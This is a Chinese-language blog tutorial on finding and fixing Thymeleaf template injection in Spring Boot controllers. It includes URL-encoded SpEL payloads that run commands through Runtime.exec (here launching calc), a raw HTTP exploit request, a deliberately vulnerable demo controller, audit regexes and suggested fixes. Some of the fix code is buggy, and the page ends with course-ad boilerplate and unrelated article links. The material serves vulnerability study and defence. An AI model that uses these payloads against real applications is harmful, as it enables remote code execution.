thymeleaf模板注入学习与研究--查找与防御
一、日常编码中常见的两种漏洞场景
1.1 模板参数外部可控
@RequestMapping("/path")public String path(@RequestParam String lang) {return lang ;}
实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。
1.2 使用@GetMapping注解 且没有return
根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。
当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。
@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}
tips:没有return 就是返回值为viod。
二 、如何构造payload
通过**${}**::.x构造表达式会由Thymeleaf去执行
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xGET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close
payload构造
注意: 模板名称后存在拼接的payload必须以 ::.x结尾
package com.thymeleaf.jack.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;/*** Author:Jack @Date:2022.09.28*/// 通过__${}__::.x构造表达式会由Thymeleaf去执行
@Controller
public class demo {private static final Logger logger = LogManager.getLogger(demo.class);@RequestMapping("/index")public String getIndex(Model model) {model.addAttribute("name", "jack");return "index";}// 模板后存在拼接的payload必须以 ::.x结尾
//path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@RequestMapping("/path")public String path(@RequestParam String lang) {return "user/" + lang + "/welcome";}// 根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。// 当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
//poc:/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}//poc 结尾可以去除 ::.x///fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__@GetMapping("/fragment")public String fragment(@RequestParam String section) {return "welcome :: " + section; //fragment is tainted}}<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>
三、 查找漏洞
黑盒:更换主题等页面打payload
场景1: 切换主题/背景 的功能区,将参数改为 payload。
白盒审计:
a.模板参数外部可控
这个很难写出真正意义上的漏洞匹配的正则
我在日常的代码审计过程中这样的
1 查看所有的模板文件名称 假设index.html开始
2 正则搜索控制器return.*?\".*?模板名称
return.*?\".*?index
查看该接口中
index 参数,
是不是外部可控,
参数 中是否 不含有 HttpServlet,
rerun前面 是不是 没有重定向 redirect,
如果都是 那就存在此漏洞,
其实模板文件也不会很多 ,所以这样去白盒审计这个漏洞。
b.查找含参数@GetMapping路由 无return
先正则@GetMapping\(.*?\)\s*public\s+void/gm

注意 多行匹配加全局搜索 这样才不会遗漏,

四、漏洞修复
我个人推荐的修复方式
我个人任务应该白名单的修复方式。
@RequestMapping("/vulnpath")public String path(@RequestParam String lang) {return lang;}@RequestMapping("/safepath")public String path(@RequestParam int lang) {int num = request.getParemeter("lang");HashMap<Integer, String> tems = new HashMap<Integer, String>();tems.put(1, "red template");tems.put(2, "yellow template");tems.put(3, "green template");return tems.get(num)}
网上搜集的修复方式
我个人觉得不完美,安全不能影响业务需求呀,这样修复影响了功能使用。
1 使用注解@ResponseBody或者@RestController则不再调用模板解析
2 模板名称由redirect:或forward:开头(
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
不走ThymeleafView渲染即无法利用,
根据spring
boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。
3 参数中有HttpServletResponse,设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}
Response,因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}
最后
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

相关文章:
thymeleaf模板注入学习与研究--查找与防御
一、日常编码中常见的两种漏洞场景 1.1 模板参数外部可控 RequestMapping("/path")public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。 1.2 使用GetMappin…...
第七章:Linux最小化搭建环境解说2
配置IP地址:我们先要到网卡配置文件夹里,路径是/etc/sysconfig/network-scripts/,有点长,不过没事,我们要学会习惯,这还是经常用的。然后就是用ls命令查看下面有什么,只有一个文件ifcfg-ens160&…...
两道链表经典算法题---链表有无环(基础+进阶)
生活就像一盒巧克力,你永远不知道你会得到什么。——《阿甘正传》目前自己粗略的学完数据结构,正在开始刷算法题目。个人觉得算法是一个积累,循序渐进的的过程,需要不断加量,进而达到所谓的质。链表作为数据结构一个重…...
2023/1/14总结
今天学习的是c语法知识。 容器arry: 通俗来说这个容器就i是c语言的数组,和C中vevtor不同,arry是定长度的,而vector是动态数组。头文件为:<arry> 初始化: arry<数据类型,你所要声明…...
Python 之 NumPy 统计函数、数据类型和文件操作
文章目录一、统计函数1. 求平均值 mean()2. 中位数 np.median3. 标准差 ndarray.std4. 方差 ndarray.var()5. 最大值 ndarray.max()6. 最小值 ndarray.min()7. 求和 ndarray.sum()8. 加权平均值 numpy.average()二、数据类型1. 数据存储2. 定义结构化数据3. 结构化数据操作三、…...
互联网新时代要到来了(一)什么是Web3.0?
什么是Web3.0? tips:内容来自百度百科、知乎、搜狐新闻、李留白公众号、CSDN「Meta.Qing」博客等网页 什么是Web3.0?1.什么是Web3.0(概念介绍)?2.Web3.0简单理解3.Web3.0的技术特点4.Web3.0项目1.什么是Web3.0(概念…...
[Yocto] 直接向deploy/images目录部署binary
最近用yocto的时候碰到一个问题,有一些IP的FW binary是从别的地方直接拿来的,没有source code,有一个需求就是需要把它用wks script的方式把它们打包到最后的image里,这篇文章就是来谈谈这个问题。 yocto patch/deploy等做了什么 首先,虽然我们的code,bbfile,或者说pa…...
HarmonyOS Connect原子化服务功能开发(Wi-Fi/Combo)设备控制开发与实现(二)
规设备控制 在“device”目录下的“DeviceApplication.java”文件中,在onInitialize函数中初始化应用。示例代码如下: Override public void onInitialize() {AiLifeServiceHelper.initApplication(this);DeviceHandlerAbility.register(this, "&qu…...
浅析 Makefile
Makefile逻辑 Makefile就是将一系列的工作流串在一起自动执行,构成Makefile最基本的要素是目标、依赖、命令。也就是为了实现目标需要哪些依赖并执行什么样的命令。 target: dependences1 dependences2 ... command1 command2 ...其中,target表示要生…...
保护品牌线上声誉的5种方法
我们如今生活在一个搜索便捷的世界,对于一个企业和个人来说,品牌的线上声誉也尤为重要。在客户考虑与您的公司开展业务之前,他们理所当然会先使用众多软件和平台搜索相关信息,以帮助他们了解和做决定。 因此,您的品牌…...
Java多重选择结构,超详细整理,适合新手入门
目录 一、什么是多重选择结构? 二、if 语句的语法 1、什么是嵌套if语句? 2、if 语句循环基本用法: 3、案例: 二、if...else多重选择结构语法 1、什么是if-else语句? 2、if...else 循环基本用法 3、案例&#…...
SCI写作,一定要避开这些“雷点”!
SCI论文写作中,除了要符合各部分的写作要求,还有许多细节问题需要我们注意,不然可能一不小心就会“踩雷”。 今天我们就来和大家分享SCI各个部分写作时的注意事项。 下面就进入正题! SCI写作注意事项 01 标题的拟定 1.避免使用无…...
3GPP-NR Band14标准定义频点和信道(3GPP V17.7.0 (2022-12))
Reference test frequencies for NR operating band n14 Table 4.3.1.1.1.14-1: Test frequencies for NRoperating band n14 and SCS 15 kHz CBW [MHz]carrierBandwidth...
分库分表索引设计:分布式环境下的 主键索引、二级索引、全局索引的最佳设计实践
文章目录主键选择索引设计全局表唯一索引总结结语主键选择 对主键来说,要保证在所有分片中都唯一,它本质上就是一个全局唯一的索引。如果用大部分同学喜欢的自增作为主键,就会发现存在很大的问题。 因为自增并不能在插入前就获得值…...
2023年全国最新保安员精选真题及答案
百分百题库提供保安员考试试题、保安职业资格考试预测题、保安员考试真题、保安职业资格证考试题库等,提供在线做题刷题,在线模拟考试,助你考试轻松过关。 一、单选题(1-480题)以下备选答案中只有一项最符合题目要求&a…...
计算机网络之http07 http2,http3
HTTP1.2 http1.2都做了哪些优化 (1)头部压缩 使用HPACK压缩头部 头部冗长,大量重复字段 (2)二进制帧 将报文头部和内容字符编码改为二进制格式 字符编码未压缩 (3)并发传输 解决h1.1 队头阻塞问题,多车道 …...
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…...
TongWeb8防止System.exit代码导致的进程停止
现象:当应用中存在System.exit 、Runtime.exit代码执行时,会导致TongWeb进程停止,从而产生如下日志:2023-02-14 09:47:36 [WARN] - The web application [webtest01] is still processing a request that has yet to finish. This…...
PMP每年考几次,费用如何?
一,PMP每年考几次,怎么准备? PMP项目管理证书是美国PMI发起的在全球200多个国家进行的项目管理专业人士资格认证,它的含金量和给认证者带来的作用已经很明显。 PMP考试是项目管理专业人士资格认证考试,通过PMP考试是…...
【Kubernetes】【一】Kubernetes介绍
Kubernetes介绍 应用部署方式演变 在部署应用程序的方式上,主要经历了三个时代: 传统部署:互联网早期,会直接将应用程序部署在物理机上 优点:简单,不需要其它技术的参与 缺点:不能为应用程序定…...
WiFi信号弱?5分钟搞懂dBi、dBm和dB的区别,选对天线不踩坑
WiFi信号弱?5分钟搞懂dBi、dBm和dB的区别,选对天线不踩坑 每次视频会议卡成PPT,游戏延迟飙红,或是刷剧总在关键时刻转圈——这些糟心体验八成是WiFi信号在作祟。很多人第一反应是升级千兆宽带,却忽略了无线信号从路由器…...
langchain AI开发大模型翻译助手
我直接给你运行后的真实输出结果,并把为什么会这样输出讲得明明白白! 一、你的代码 最终输出结果 prompt: [SystemMessage(content你是一个翻译专家,擅长将 英文 语言翻译成 中文语言.), HumanMessage(contentI love Large Language Model.)] result: 我…...
Windows系统下安装与配置FreeSWITCH完整指南
本文提供在 Windows 系统上安装 FreeSWITCH 的完整步骤,涵盖下载、安装、配置、启动测试,以及可能遇到问题的解决方案,帮助你顺利完成开发环境的搭建。 一、环境准备与下载 1.1 系统要求 项目要求操作系统Windows 7/8/10/11,Wi…...
LM386集成功放电路实战:从零搭建到波形调试全记录(附实测数据)
LM386集成功放电路实战:从零搭建到波形调试全记录(附实测数据) 在电子设计领域,音频功率放大器一直是基础却充满挑战的课题。LM386作为经典的集成功放芯片,以其低功耗、高增益和易用性著称,成为入门者和资深…...
ChatTTS实战:从WAV到PT的高效转换技术解析
在语音合成和语音处理的工作流中,数据预处理是至关重要的一环。我们常常从麦克风、录音设备或公开数据集中获得最原始的WAV格式音频,但深度学习模型,尤其是基于PyTorch的模型,其“母语”是张量(Tensor)。因…...
Excel动态甘特图制作指南:利用条件格式实现进度可视化
1. 为什么需要动态甘特图 项目管理中最让人头疼的就是进度跟踪。传统的静态表格需要手动更新颜色标注,每次进度变化都得重新调整,费时费力还容易出错。我在带团队做软件版本迭代时,就经常遇到这样的困扰:明明任务进度已经更新了&a…...
实现网页动态交互:Live2D模型嵌入与换装功能详解
1. Live2D技术入门:从零开始认识动态模型 第一次接触Live2D时,我被它流畅的动画效果惊艳到了。这种技术能在二维平面上呈现出近乎三维的立体感,让静态角色"活"起来。Live2D最初确实是为游戏开发的,但现在越来越多地被用…...
从零开始:DeepLabV3+在Cityscapes数据集上的完整训练流程
1. 环境准备与数据下载 第一次接触DeepLabV3和Cityscapes数据集时,我被这个组合的潜力所吸引——它能精准识别街景中的车辆、行人、建筑物等元素,就像给计算机装上了"透视眼"。但真正开始实操时,发现从环境搭建到数据处理的每个环节…...
小白必看:Ollama部署translategemma-12b-it图文翻译模型完整流程
小白必看:Ollama部署translategemma-12b-it图文翻译模型完整流程 1. 准备工作与环境搭建 1.1 系统要求与安装Ollama 在开始部署translategemma-12b-it模型前,请确保您的系统满足以下基本要求: 操作系统:支持Windows 10/11&…...
如何用猫抓Cat-Catch浏览器扩展轻松下载网页视频:5个超实用技巧
如何用猫抓Cat-Catch浏览器扩展轻松下载网页视频:5个超实用技巧 【免费下载链接】cat-catch 猫抓 chrome资源嗅探扩展 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 还在为无法下载在线视频而烦恼吗?🤔 你是否曾经在观…...
